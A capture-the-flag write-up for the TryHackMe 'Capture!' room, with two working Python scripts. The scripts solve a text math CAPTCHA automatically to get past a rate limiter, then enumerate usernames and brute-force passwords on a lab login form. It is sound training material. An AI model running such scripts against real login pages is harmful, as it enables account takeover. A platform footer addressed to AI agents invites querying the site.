> For the complete documentation index, see [llms.txt](https://ctfs.anthonyjsaab.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ctfs.anthonyjsaab.com/tryhackme/capture.md).

# Capture!

## License

The following post by anthonyjsaab is licensed under [CC BY 4.0<img src="https://0xb0b.gitbook.io/~gitbook/image?url=https%3A%2F%2Fmirrors.creativecommons.org%2Fpresskit%2Ficons%2Fcc.svg%3Fref%3Dchooser-v1&#x26;width=40&#x26;dpr=4&#x26;quality=100&#x26;sign=c8b111830ec879276ebdf3743c254e759aca09e5cafd5c7d6f6aae1b9e83f249" alt="" data-size="line"><img src="https://0xb0b.gitbook.io/~gitbook/image?url=https%3A%2F%2Fmirrors.creativecommons.org%2Fpresskit%2Ficons%2Fby.svg%3Fref%3Dchooser-v1&#x26;width=40&#x26;dpr=4&#x26;quality=100&#x26;sign=a39a46323b7c8f701b7153485647abf12e13d1f48317597aae02e131e14fcaf2" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

## 0 - Introduction

Link to room: <https://tryhackme.com/r/room/capture>

This writeup walks you through a room on TryHackMe created by toxicat0r and published on May 5th, 2023.

## 1 - Context

### 1a - Given information

"SecureSolaCoders has once again developed a web application. They were tired of hackers enumerating and exploiting their previous login form. They thought a Web Application Firewall (WAF) was too overkill and unnecessary, so they developed their own rate limiter and modified the code slightly. Before we start, download the required files by pressing the Download Task Files button."

The required file is a ZIP archive containing two files: usernames.txt & passwords.txt

### 1b - What we know so far

* No WAF
* Rate limiter exists
* Bruteforce is required (implied)

## 2 - Inspecting the website

### 2a - Screenshots

#### Front Page before doing anything

![Target Website's Front Page](https://i.imgur.com/fSQMOpQ.png)

#### Trying a random login attempt

![Trying a random login attempt](https://i.imgur.com/LvLWcdg.png)

#### Spamming wrong credentials to trigger rate-limiter

![Spamming wrong credentials to trigger rate-limiter](https://i.imgur.com/3999W72.png)

### 2b - What we know so far

* Website's front page redirects to login page
* Login page will disclose whether a username exists in the database
* Rate-limiter trigger after around 10 wrong attempts
* Rate-limiter cannot be bypassed by clearing cookies, changing user-agent or using a different source IP
* The CAPTCHA is a math problem returned as text
* The CAPTCHA always has two operands and one of the following operators: +, - or \*

## 3 - Enumerating correct usernames

### 3a - Python code used

```python
#!/usr/bin/python3

"""
Use this code shortly after having triggered the rate-limiter manually.
Replace the MACHINE_IP with the IP of your target machine's IP.
"""

import re
import requests
import sys

def main(MACHINE_IP):
    # Loads usernames from task files
    nhu = open("usernames.txt")
    users = nhu.read().split("\n")
    nhu.close()

    # Garbage request sent to collect the CAPTCHA challenge
    data = {
        'username': 'test',
        'password': 'test',
        'captcha': '123',
    }
    response = requests.post(f'http://{MACHINE_IP}/login', data=data)

    for u in users:
        captcha_data = re.search(r"(\d*) (\W) (\d*) = \?", str(response.content)).groups()
        if captcha_data[1] == "+":
            captcha_result = int(captcha_data[0]) + int(captcha_data[2])
        elif captcha_data[1] == "-":
            captcha_result = int(captcha_data[0]) - int(captcha_data[2])
        elif captcha_data[1] == "*":
            captcha_result = int(captcha_data[0]) * int(captcha_data[2])
        data = {
            'username': str(u),
            'password': 'test',
            'captcha': str(captcha_result),
        }
        response = requests.post(f'http://{MACHINE_IP}/login', data=data)
        valid = not re.search(r'The user (.*?) does not exist', str(response.content))
        if valid:
            print(u)


if __name__ == "__main__":
    MACHINE_IP = sys.argv[1]
    main(MACHINE_IP)

```

### 3b - Output

![User enum Output](https://i.imgur.com/XBIxk1S.png)

## 4 - Finding correct password

### 4a - Error message for wrong password

![Error message for wrong password](https://i.imgur.com/wcklhMy.png)

### 4b - Python Code

```python
#!/usr/bin/python3

"""
Use this code shortly after having triggered the rate-limiter manually.
Example usage in terminal: ./password_bruteforce.py 10.10.229.208 john
This code and the passwords.txt should be located in the same directory
"""

import re
import requests
import sys

def main(MACHINE_IP, CORRECT_USERNAME):
    # Loads passwords from task files
    nhp = open("passwords.txt")
    passwords = nhp.read().split("\n")
    nhp.close()

    # Garbage request sent to collect the CAPTCHA challenge
    data = {
        'username': 'test',
        'password': 'test',
        'captcha': '123',
    }
    response = requests.post(f'http://{MACHINE_IP}/login', data=data)

    for p in passwords:
        captcha_data = re.search(r"(\d*) (\W) (\d*) = \?", str(response.content)).groups()
        if captcha_data[1] == "+":
            captcha_result = int(captcha_data[0]) + int(captcha_data[2])
        if captcha_data[1] == "-":
            captcha_result = int(captcha_data[0]) - int(captcha_data[2])
        if captcha_data[1] == "*":
            captcha_result = int(captcha_data[0]) * int(captcha_data[2])
        data = {
            'username': str(CORRECT_USERNAME),
            'password': str(p),
            'captcha': str(captcha_result),
        }
        response = requests.post(f'http://{MACHINE_IP}/login', data=data)
        valid = not re.search(r'Invalid password for user', str(response.content))
        if valid:
            print(p)
            exit(0)

if __name__ == "__main__":
    MACHINE_IP = sys.argv[1]
    CORRECT_USERNAME = sys.argv[2]
    main(MACHINE_IP, CORRECT_USERNAME)
```

### 4c - Output

![Password found!](https://i.imgur.com/wh56Tr1.png)

## 5 - The Flag!

![Flag](https://i.imgur.com/ZtkTmLT.png)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ctfs.anthonyjsaab.com/tryhackme/capture.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
